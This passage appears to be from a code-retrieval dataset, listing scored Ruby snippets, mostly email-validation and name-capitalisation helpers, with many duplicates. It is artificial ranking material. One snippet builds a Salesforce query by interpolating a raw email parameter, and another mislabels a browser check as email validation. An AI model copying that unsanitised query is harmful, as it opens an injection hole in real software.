"text": "def valid_email?(email)\n email.size < 100 && email =~ /.@.+\\../ && email.count('@') == 1\n end",
"title": ""
},
{
"docid": "b10d0a0621ce4680c6e0a04d95dfcdf5",
"score": "0.6726189",
"text": "def blank_email?\n return email == \"\"\n end",
"title": ""
},
{
"docid": "a86747ea23338c20c7b8147ab93248f1",
"score": "0.6720977",
"text": "def email_required?\r\n false\r\n end",
"title": ""
},
{
"docid": "ff769ffae84e0bc1776986a8a4fc5d40",
"score": "0.6719286",
"text": "def validate_email(email)\n return true if URI::MailTo::EMAIL_REGEXP.match?(email)\n \n false\n end",
"title": ""
},
{
"docid": "6411fd6eb664834b8e765acdd94461ab",
"score": "0.6702695",
"text": "def email?(value)\n\t\t\tis_email = coerce_bool (value =~ /.+@.+/)\n\t\t\tunless is_email\n\t\t\t\t@error = \"Error, expected value to be an email address, got: #{value}\"\n\t\t\tend\n\t\t\tis_email\n\t\tend",
"title": ""
},
{
"docid": "c97edbb8b59adef8e06d01683bbf205b",
"score": "0.66925174",
"text": "def email_maker\n puts \"Please enter your email\"\n email = gets.chomp\n if email.match(URI::MailTo::EMAIL_REGEXP).present?\n @user.email = email\n @user.save\n else\n puts \"Email invalid\"\n return email_maker\n end\n user_controls\n end",
"title": ""
},
{
"docid": "b0556004b55f4f84d9c1b0fac6ebdc96",
"score": "0.66857386",
"text": "def validate_email(email)\n return true if email.blank?\n\n email =~ /\\A([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/i\n end",
"title": ""
},
{
"docid": "7636eea7f622da55ed88fa6a03521e8f",
"score": "0.6682847",
"text": "def email_required?\n \tfalse\n\tend",
"title": ""
},
{
"docid": "434eda395608acc1237f50bc3b5996dc",
"score": "0.66791266",
"text": "def validate_email(email)\n email.match(URI::MailTo::EMAIL_REGEXP)\n end",
"title": ""
},
{
"docid": "ee83c54466c07072d782bd2c8157a4a8",
"score": "0.66699755",
"text": "def email?\n false\n end",
"title": ""
},
{
"docid": "befb3add1deba5821a9a7e7c8f381e00",
"score": "0.66694146",
"text": "def email_required?\n \tfalse\n end",
"title": ""
},
{
"docid": "b15e5c13a304b2f97510dd016d7973a3",
"score": "0.6665246",
"text": "def isvalidemail(email)\n unless email.blank?\n unless email =~ /^[a-zA-Z][\\w\\.-]*[a-zA-Z0-9]@[a-zA-Z0-9][\\w\\.-]*[a-zA-Z0-9]\\.[a-zA-Z][a-zA-Z\\.]*[a-zA-Z]$/\n return false\n else\n return true\n end\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "a5033aa493c9123a81723ff5683b464c",
"score": "0.6660817",
"text": "def email?( params )\n params[:email] == true\n end",
"title": ""
},
{
"docid": "4ebd772fe36e51a72d9793e8993d0981",
"score": "0.66572154",
"text": "def is_email(input)\n\tvalid_email_regex = /\\A[\\w+\\-.]+@[a-z\\d\\-.]+\\.[a-z]+\\z/i\n\t\n\t# check to see if the input is a valid email address\n\tif input =~ valid_email_regex\n\t\treturn true\n\telse\n\t\treturn false # it must be a phone number\n\tend\n end",
"title": ""
},
{
"docid": "1e87025794bf287f10e44379b3bb706f",
"score": "0.66526204",
"text": "def update_email(contact, email_address)\n return unless email_address.present?\n unless [contact.email, contact.alt_email].compact.include?(email_address)\n if contact.email.blank?\n contact.email = email_address\n else\n contact.alt_email = email_address\n end\n end\n end",
"title": ""
},
{
"docid": "7d63d3b0e1cee68422b07a8302312722",
"score": "0.6652345",
"text": "def check_email\n unless self.user.email?\n errors[:base] << \"You can't submit an idea without having a valid email associated with your account.\"\n return false\n end\n end",
"title": ""
},
{
"docid": "a0bde2d4c13ec1357b35ef432369fc63",
"score": "0.66506875",
"text": "def create_email_no_domain\n self.email_no_domain = self.email.split('@').first\n return true\n end",
"title": ""
},
{
"docid": "7fe8dc505a17a881da266c7c56f19e87",
"score": "0.66440654",
"text": "def validate_email\n\n email = params[:patient][:PersonEmail]\n \n patients = Patient.where(:email => email)\n \n if !patients.empty?\n return false\n end\n\n client = Restforce.new\n patient_check = client.query(\"SELECT Id\n FROM Account\n WHERE PersonEmail = '#{email}'\n \")\n\n if patient_check.size > 0\n return false\n end\n\n return true\n\n end",
"title": ""
},
{
"docid": "4504fe4eeeb1adbd4c06b2a40d76255c",
"score": "0.66436297",
"text": "def email_check\n email_legit = false\n if params[:member][:email] =~ /^([^@\\s]+)@((?:[-a-z0-9]+\\.)+[a-z]{2,})$/i\n email_legit = true\n end\n\n respond_with(email_legit)\n end",
"title": ""
},
{
"docid": "94303ea6edf3843e8959dad27d16ea8d",
"score": "0.6641398",
"text": "def validate_email\n \tunless browser == \"Chrome\" ||\n \t\tbrowser == \"Firefox\" ||\n \t\tbrowser == \"IE\"\n \t\terrors.add(:browser, \"Not a valid email!\")\n \tend\n end",
"title": ""
},
{
"docid": "b83e54c99b03e14793ad129853c8a5b2",
"score": "0.66328806",
"text": "def check_email_validity\n unless self.super_admin? # Won't run if the admin is a super admin. \n unless self.visitor? # Won't run email validation of city if the admin is set as visitor which is set by workplace via the invite.\n if !self.email.include? \"#{self.institute.split_email_domain}\"\n errors.add(:email, \"address doesn't match the official email domain for this Workplace. If you believe this to be an error, please contact us at: support@ossemble.com \")\n return true\n end\n end \n end \n end",
"title": ""
},
{
"docid": "f13c3b8000d6124019ac48e696e6c6ba",
"score": "0.6631859",
"text": "def validates_email_fields\n accounts_ids = self.related_accounts.map{ |k,v| v['libs_accounts_id'] }.delete_if{ |x| x.blank? }\n not Libs::Account.where(:id => accounts_ids).select{ |x| x.type == 'email'}.blank?\n end",
"title": ""
},
{
"docid": "6b7cb5bbf2dc22d8a5c099848700cb11",
"score": "0.66307026",
"text": "def validate_contact_info \n case contact_method\n when 'email'\n errors.add(:email, \"Invalid email address\") unless EmailVeracity::Address.new(email).valid?\n when 'phone'\n if phone_numbers.empty?\n errors.add(:phone_number, \"Please enter a phone number\")\n else \n phone_numbers.each do |pn|\n errors.add_to_base(pn.errors.full_messages) if pn && !pn.valid?\n end\n end\n when 'mail'\n if address.nil?\n errors.add(:address, \"Please fill in mailing address\")\n else\n errors.add_to_base(address.errors.full_messages) unless address.valid?\n end\n end\n end",
"title": ""
},
{
"docid": "26501136de70eb6761ee1950599074a3",
"score": "0.6630099",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "ccf7a0fb29249fe1ee7b99f1616214ce",
"score": "0.6629209",
"text": "def validate_email(email)\n return true if URI::MailTo::EMAIL_REGEXP.match?(email)\n\n raise(EmailFieldError)\n rescue Errno::ENOENT\n raise FileNotFoundError\n end",
"title": ""
},
{
"docid": "e2d61d038d9405671efad7c5c21d1693",
"score": "0.662653",
"text": "def email_required?\n uid.blank?\n end",
"title": ""
},
{
"docid": "1798c9ce7e82b720e52f9a4805f23aed",
"score": "0.6622314",
"text": "def valid_email?\n\t\tunless email.blank?\n\t\t\terr = domain_error(domain_of(email))\n\t\t\terrors.add(:email, err) unless err.blank?\n\t\tend\n\tend",
"title": ""
},
{
"docid": "be2f6d0610f1f48daf0c5fde7129e159",
"score": "0.66212773",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "afd6a45c42254a1cc78e9f89becc065b",
"score": "0.6618578",
"text": "def email_required?\n true\n end",
"title": ""
},
{
"docid": "afd6a45c42254a1cc78e9f89becc065b",
"score": "0.6618578",
"text": "def email_required?\n true\n end",
"title": ""
},
{
"docid": "afd6a45c42254a1cc78e9f89becc065b",
"score": "0.6618578",
"text": "def email_required?\n true\n end",
"title": ""
},
{
"docid": "afd6a45c42254a1cc78e9f89becc065b",
"score": "0.6618578",
"text": "def email_required?\n true\n end",
"title": ""
},
{
"docid": "515cb010bf3c43659dc4c3465b5b38b3",
"score": "0.660747",
"text": "def valid_email( value )\n begin\n return false if value == ''\n parsed = Mail::Address.new( value )\n return parsed.address == value && parsed.local != parsed.address\n rescue Mail::Field::ParseError\n return false\n end\n end",
"title": ""
},
{
"docid": "b31f75b52898d935dd1c8effd782245b",
"score": "0.66073805",
"text": "def validate_email\n errors.add(:email, I18n.t('messages.error.invalid_email', email: email)) unless validate_email_address(email)\n end",
"title": ""
},
{
"docid": "a787f6069a000d68b00f5ce6a83c6302",
"score": "0.66065234",
"text": "def enter_email\n email = ''\n until URI::MailTo::EMAIL_REGEXP.match?(email)\n print 'Enter a valid email address: >> '\n email = gets.chomp\n end\n email\n end",
"title": ""
},
{
"docid": "1cd676bbdd2480b23d55f5d4722e8838",
"score": "0.6584785",
"text": "def validate_email(value)\n unless value =~ /^[a-zA-Z0-9.!#$\\%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\\.[a-zA-Z0-9-]+)*$/\n raise ValidationError, \"invalid email address format '#{value}'\"\n end\n end",
"title": ""
},
{
"docid": "bcf38ecf37e01342c3428e5ab93616b1",
"score": "0.65846914",
"text": "def is_valid_email(email) \n email =~ /\\A[\\w+\\-.]+@[a-z\\d\\-]+(\\.[a-z]+)*\\.[a-z]+\\z/i\n end",
"title": ""
},
{
"docid": "291a9fa727c99970129ed22931d09336",
"score": "0.6580321",
"text": "def validate_email_signup(email)\n email_char_counts = char_counts(email)\n if email.empty?\n return \"Something doesn't look right. Please check the email and try again.\"\n elsif !email.include?('@')\n return \"Please include an '@' in the email address. '#{email}' is missing an '@'.\"\n elsif email_char_counts['@'] === 1 && email.end_with?('@')\n return \"Please enter a part following the '@'. '#{email}' is incomplete.\"\n elsif email_char_counts['@'] > 1\n return \"A part following '@' should not contain the symbol '@'.\"\n else\n return nil # need to pass the baton to rails validation\n end\nend",
"title": ""
},
{
"docid": "450999d1ae34ac02a9903168fc0a8e36",
"score": "0.6579886",
"text": "def check_email\n some_error('Sorry but wrong email address') if !@user = User.find_by_email(params[:email])\n end",
"title": ""
},
{
"docid": "75e77c09a2bf037c06d1e82030c8688a",
"score": "0.6570947",
"text": "def email_required?\n\n false\n\n end",
"title": ""
},
{
"docid": "366c4fab30ced350b2344b202358f034",
"score": "0.65632856",
"text": "def contact_email\n email || user.try(:email)\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
},
{
"docid": "3c5a60e42bdd01ee4e2beec566c7f8f8",
"score": "0.6553033",
"text": "def email_required?\n false\n end",
"title": ""
}
] |
a3726f33b06ba7dcac4140ff08f99572
|
before_save :capitalize_name accepts_nested_attributes_for :category
|
[
{
"docid": "e7430a393d890c5023d68fb3682092a3",
"score": "0.60643816",
"text": "def capitalize_name\n self.name = name.capitalize\n end",
"title": ""
}
] |
[
{
"docid": "02e735da0a900707a8fb93498acba3c9",
"score": "0.684411",
"text": "def before_validation_on_create\n self.name_normalized = name.downcase\n end",
"title": ""
},
{
"docid": "4ca8d646bab055f80fbe8cd400cfdc9c",
"score": "0.68095607",
"text": "def before_validation\n self.name=first_upper(self.name)\n end",
"title": ""
},
{
"docid": "ac426d78c84b68992895c3fd41090c5d",
"score": "0.678932",
"text": "def before_validation\n self.name=first_upper(self.name)\n end",
"title": ""
},
{
"docid": "2f15815506c505973c8497737dccdc52",
"score": "0.6715529",
"text": "def capitalize_attributes\n self.brand.capitalize!\n self.model.capitalize!\n end",
"title": ""
},
{
"docid": "6a5da11627b7f5a900f36861f9135e19",
"score": "0.6693331",
"text": "def before_validation\n self.name=first_upper(self.name)\n end",
"title": ""
},
{
"docid": "c3104c5cd1b12cc9821a0ba7ef2583c7",
"score": "0.6614942",
"text": "def category_name=(name)\n self.category = Category.find_or_create_by(name: name)\n self.save\n end",
"title": ""
},
{
"docid": "c3104c5cd1b12cc9821a0ba7ef2583c7",
"score": "0.6614942",
"text": "def category_name=(name)\n self.category = Category.find_or_create_by(name: name)\n self.save\n end",
"title": ""
},
{
"docid": "3e548fdd26ebdc5b442257549e047b73",
"score": "0.650883",
"text": "def category_params\n params.require(:category).permit(:name, :ca_name, :es_name)\n end",
"title": ""
},
{
"docid": "e3e25a584150dac348d640e03fc02db9",
"score": "0.647588",
"text": "def before_create \n self.name = name.downcase.strip.squeeze(\" \")\n end",
"title": ""
},
{
"docid": "e3e25a584150dac348d640e03fc02db9",
"score": "0.647588",
"text": "def before_create \n self.name = name.downcase.strip.squeeze(\" \")\n end",
"title": ""
},
{
"docid": "020df9f16148c4b21674d0c4ab0b02d3",
"score": "0.64710224",
"text": "def category_name\n self.category.gsub('_', ' ').capitalize\n end",
"title": ""
},
{
"docid": "df88556ae5a6c370b73cbbfabe8773c4",
"score": "0.63844806",
"text": "def category_attributes=(category_attributes)\n if !category_attributes[:name].blank? \n self.category = Category.find_or_create_by(category_attributes)\n end \n end",
"title": ""
},
{
"docid": "50e42d0a55500d51207da763441dc01e",
"score": "0.6333563",
"text": "def category_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "26780dda6987b0e073b790ae6721cf80",
"score": "0.63223475",
"text": "def category_params\n params.require(:category).permit :name\n end",
"title": ""
},
{
"docid": "735478f8cf201a43d7bc61f5615d8e93",
"score": "0.6288925",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "735478f8cf201a43d7bc61f5615d8e93",
"score": "0.6288925",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "735478f8cf201a43d7bc61f5615d8e93",
"score": "0.6288925",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "735478f8cf201a43d7bc61f5615d8e93",
"score": "0.6288925",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "735478f8cf201a43d7bc61f5615d8e93",
"score": "0.6288925",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "735478f8cf201a43d7bc61f5615d8e93",
"score": "0.6288925",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "735478f8cf201a43d7bc61f5615d8e93",
"score": "0.6288925",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "735478f8cf201a43d7bc61f5615d8e93",
"score": "0.6288925",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "facdcd2cf318f407c3d14f9f936789c0",
"score": "0.6271514",
"text": "def category_params\n params.require(:category).permit(:name);\n end",
"title": ""
},
{
"docid": "f8e458746717aa394ed6025a2a8618f0",
"score": "0.62676495",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "dd0f19efb305280de3292ac414cb3f93",
"score": "0.6251557",
"text": "def category_params\n params.require(:category).permit(\n :name\n )\n end",
"title": ""
},
{
"docid": "5765476d6de332402d07ddb67ca221d0",
"score": "0.62464887",
"text": "def save\r\n self.display_name = self.name.underscore.titleize if self.display_name.nil?\r\n\tsuper\r\n end",
"title": ""
},
{
"docid": "7dc498fc7f6e881977e44e1b42f9f856",
"score": "0.6234084",
"text": "def category_params\r\n params.require(:category).permit(:name)\r\n end",
"title": ""
},
{
"docid": "1e264e1f7942c9444b14d581bc400060",
"score": "0.62265474",
"text": "def category_focus category\n name = category.is_a?(String) ? category : category.name\n to_h.merge category: name\n end",
"title": ""
},
{
"docid": "ebe562e4e6d1603e399ccf51c3bfac15",
"score": "0.6219276",
"text": "def titlize_name\n self.name = name.titleize\n end",
"title": ""
},
{
"docid": "931bb188598a250baef87561b4d83e13",
"score": "0.61848783",
"text": "def name\n category.name\n end",
"title": ""
},
{
"docid": "f51ebd26bb393c0e38e477cb945baeff",
"score": "0.61612684",
"text": "def category_name\n category.name\n end",
"title": ""
},
{
"docid": "f51ebd26bb393c0e38e477cb945baeff",
"score": "0.61612684",
"text": "def category_name\n category.name\n end",
"title": ""
},
{
"docid": "cf337b6641fca7c20bb5515b6e6820eb",
"score": "0.61605054",
"text": "def category_params\n params.require(:category).permit(:category_name)\n end",
"title": ""
},
{
"docid": "cf337b6641fca7c20bb5515b6e6820eb",
"score": "0.61605054",
"text": "def category_params\n params.require(:category).permit(:category_name)\n end",
"title": ""
},
{
"docid": "699d9c7885fed599aad5c75e4bf0034d",
"score": "0.6157911",
"text": "def save_valid_name\n\t\tself.name = self.name.split.map(&:capitalize).join(' ')\n\tend",
"title": ""
},
{
"docid": "968829ad650f4a40b3dadfd4caff687d",
"score": "0.61531055",
"text": "def category_params\n params.require(:category).permit(:code, :name, sub_categories_attributes: [:id, :code, :name, :category_id, :_destroy])\n end",
"title": ""
},
{
"docid": "5dc12a10c49755052e72f9a1865e7eba",
"score": "0.6126879",
"text": "def category_params\n\t\tparams.require(:category).permit(:name)\n\t\t\n\tend",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "957945d7616a73cc28f8d47082af8680",
"score": "0.6120153",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "e4f50c21eaad081610da77c9a9e7f353",
"score": "0.6113287",
"text": "def category_params\n\t\tparams.require(:category).permit( :name, :nickname )\n\tend",
"title": ""
},
{
"docid": "d759d90adfc752b1eeb129980a1b7127",
"score": "0.6108564",
"text": "def category_name=(category_name)\r\n self.category = Category.find_or_create_by(category_name: category_name) if category_name.present?\r\n end",
"title": ""
},
{
"docid": "39bba2587f556154a8bfdec216e70036",
"score": "0.6108468",
"text": "def attribute_category_params\n params.require(:attribute_category).permit(:name)\n end",
"title": ""
},
{
"docid": "027a5bbb51f3ea84c6e1cacca1de5085",
"score": "0.61049813",
"text": "def category_name\n category.category_name\n end",
"title": ""
},
{
"docid": "6fda16c95678c9a51825b32eb5c1cf54",
"score": "0.6103999",
"text": "def capitalize_name\n self.name = self.name.capitalize\n end",
"title": ""
},
{
"docid": "61f37f922edff508cfa340f3a6996f45",
"score": "0.60943305",
"text": "def category_params\n params.require(:category).permit(:name, :html_class)\n end",
"title": ""
},
{
"docid": "bc0ad7ab495bbf4de9be48597801ccdf",
"score": "0.6094031",
"text": "def before_validation\n self.name=first_upper(self.name)\n self.surname=first_upper(self.surname)\n end",
"title": ""
},
{
"docid": "f0c5e70b0629dc2eb3e31e23d5f6b240",
"score": "0.6089048",
"text": "def strip_and_capitalize_category\n if self.category.present?\n self.category.strip!\n self.category.capitalize!\n end\n end",
"title": ""
},
{
"docid": "aad257a4be691b49605163fd865e70a7",
"score": "0.6085106",
"text": "def category_params\n params.require(:category).permit(:name, :desc)\nend",
"title": ""
},
{
"docid": "48232b2297a2482bcd6d7c77d2fead12",
"score": "0.6083397",
"text": "def category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "c59c0186e9e7efbad3b0b222a5bd8a09",
"score": "0.607896",
"text": "def category_params\n params.permit(:name, :category_id)\n end",
"title": ""
},
{
"docid": "85f3467671f10828d280047eb757afba",
"score": "0.60657",
"text": "def before_save \n self.human_name = self.first_name + \" \" + self.last_name if self.human_name.nil?\n end",
"title": ""
},
{
"docid": "8a8e6706ce7a60dec77626ede4a74d7d",
"score": "0.60622954",
"text": "def create\n trim_name = category_params[:name].strip\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n @category.update_attributes(:name => trim_name)\n format.html { redirect_to admin_merchandise_categories_url, notice: 'Category was successfully created.' }\n format.json { render action: 'show', status: :created, location: admin_merchandise_categories_url }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "519084c00b6a20357cbfa73812b4bff6",
"score": "0.60527754",
"text": "def category_params\n params.require(:category).permit(:name, :category_type)\n end",
"title": ""
},
{
"docid": "09607ef99031d15e5f8b61607743a7f2",
"score": "0.6049051",
"text": "def format_attributes\n # self.name = name.capitalize # Find better option.\n self.short_name = short_name.downcase\n end",
"title": ""
},
{
"docid": "83e1ff5dd790273aacf3c6ca0898cee7",
"score": "0.6044771",
"text": "def create_category_from_name\n create_category(name: new_category_name) unless new_category_name.blank?\n end",
"title": ""
},
{
"docid": "47474f03f07480a7b176dd7eb4fdc791",
"score": "0.60425645",
"text": "def category_params\n params.fetch(:category, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "1cd7f7792c53b3fe28a3290fd86b6bfd",
"score": "0.6039728",
"text": "def category_params \n params.require(:category).permit(:name, :description)\n end",
"title": ""
},
{
"docid": "7444281adca201d3a7addbf8d4b3c4a9",
"score": "0.6037696",
"text": "def category_params\n params.require(:category).permit(:name, :editorial)\n end",
"title": ""
},
{
"docid": "d67f6abae2cd87a55adddac7e14dab40",
"score": "0.60353714",
"text": "def category_params\n\t\tparams.require(:category).permit(:name, :description, :name_vi)\n\tend",
"title": ""
},
{
"docid": "9db83badba95162f812a24ac6203c386",
"score": "0.60327643",
"text": "def category_params\n params.require(:category).permit(\n :name\n )\n end",
"title": ""
},
{
"docid": "e1f6a3e2a3ac328f73cd4de4ff410337",
"score": "0.60281044",
"text": "def category_params\n params.permit(:title, :cat_type, :model)\n end",
"title": ""
},
{
"docid": "6aced79ad94bbe959b6226a58f857ac9",
"score": "0.60229605",
"text": "def category_params\n params.require(:category).permit(:name, :category)\n end",
"title": ""
},
{
"docid": "36d739d84d9208d80897659f97b04993",
"score": "0.60194963",
"text": "def category_name=(name)\n self.category = Category.find_or_create_by(name: name)\n end",
"title": ""
},
{
"docid": "0902cb72dcc6b97a5e5d6161467354ef",
"score": "0.6019405",
"text": "def form_category_params\n params.require(:form_category).permit(:name)\n end",
"title": ""
},
{
"docid": "9499521a531a659e9e856a972cc86127",
"score": "0.6019281",
"text": "def titlecase_title\n self.name=(name().titlecase())\n end",
"title": ""
},
{
"docid": "089649f7e406e6d43ce8b6eec4a2ced2",
"score": "0.6018859",
"text": "def category_params\n params.require(:category).permit(:name, :description)\n end",
"title": ""
},
{
"docid": "42ddb05ff0b05326eb71a1e3896df993",
"score": "0.60169566",
"text": "def category_params\n params.require(:category).permit(:name, :parent_category_id, { additional_fields_attributes: [ :name, :field_type ] })\n end",
"title": ""
},
{
"docid": "3d10832d6b34479db0d90a776b3a0e6e",
"score": "0.60112506",
"text": "def before_save\n self.lowercase_title = self.title.mb_chars.downcase\n end",
"title": ""
},
{
"docid": "3454a019d972d962a5f21989c4e8ff02",
"score": "0.6010948",
"text": "def rename_category\n category = Category.find(params[:category_id])\n unless category.collection.admins.include?(current_user)\n raise \"You cannot modify this category, since you are not an administrator of the collection.\"\n end\n category.name = params[:name]\n category.save!\n render :json => { :ok => true }\n rescue => e\n render :json => { :ok => false, :error => e.message }\n end",
"title": ""
},
{
"docid": "b9dd259ada732cec5e429a83d6d0a3d5",
"score": "0.6001369",
"text": "def category_params\n params.require(:category).permit(:name, :parent_id)\n end",
"title": ""
},
{
"docid": "b9dd259ada732cec5e429a83d6d0a3d5",
"score": "0.6001369",
"text": "def category_params\n params.require(:category).permit(:name, :parent_id)\n end",
"title": ""
},
{
"docid": "5edd36bab47f3815b28f56f05486a0f8",
"score": "0.59995747",
"text": "def admin_category_params\n params.require(:category).permit(:name)\n end",
"title": ""
},
{
"docid": "2266b8314395f83b607e8c5f68e155b1",
"score": "0.5990732",
"text": "def category_params\n params.require(:category).permit(:code, :name, :parent_id)\n end",
"title": ""
},
{
"docid": "5a3d5292a8fd029c936f9bb6c680b0cc",
"score": "0.59860086",
"text": "def before_save\n self.gender.upcase!\n end",
"title": ""
},
{
"docid": "e33169047c559d57e04f1a9bceba52a3",
"score": "0.59717214",
"text": "def category_params\n params.require(:category).permit(:name, :description, sub_categories_attributes: [:id, :name, :description, :category_id, :_destroy])\n end",
"title": ""
},
{
"docid": "0107c6d8586ba12ae71161b22008808d",
"score": "0.5959276",
"text": "def name\n @name.capitalize\nend",
"title": ""
}
] |
ff89e7d315a2477b2cf549484661f240
|
GET /items GET /items.xml
|
[
{
"docid": "022517bf40f9d1ee390c7186f34f4e46",
"score": "0.0",
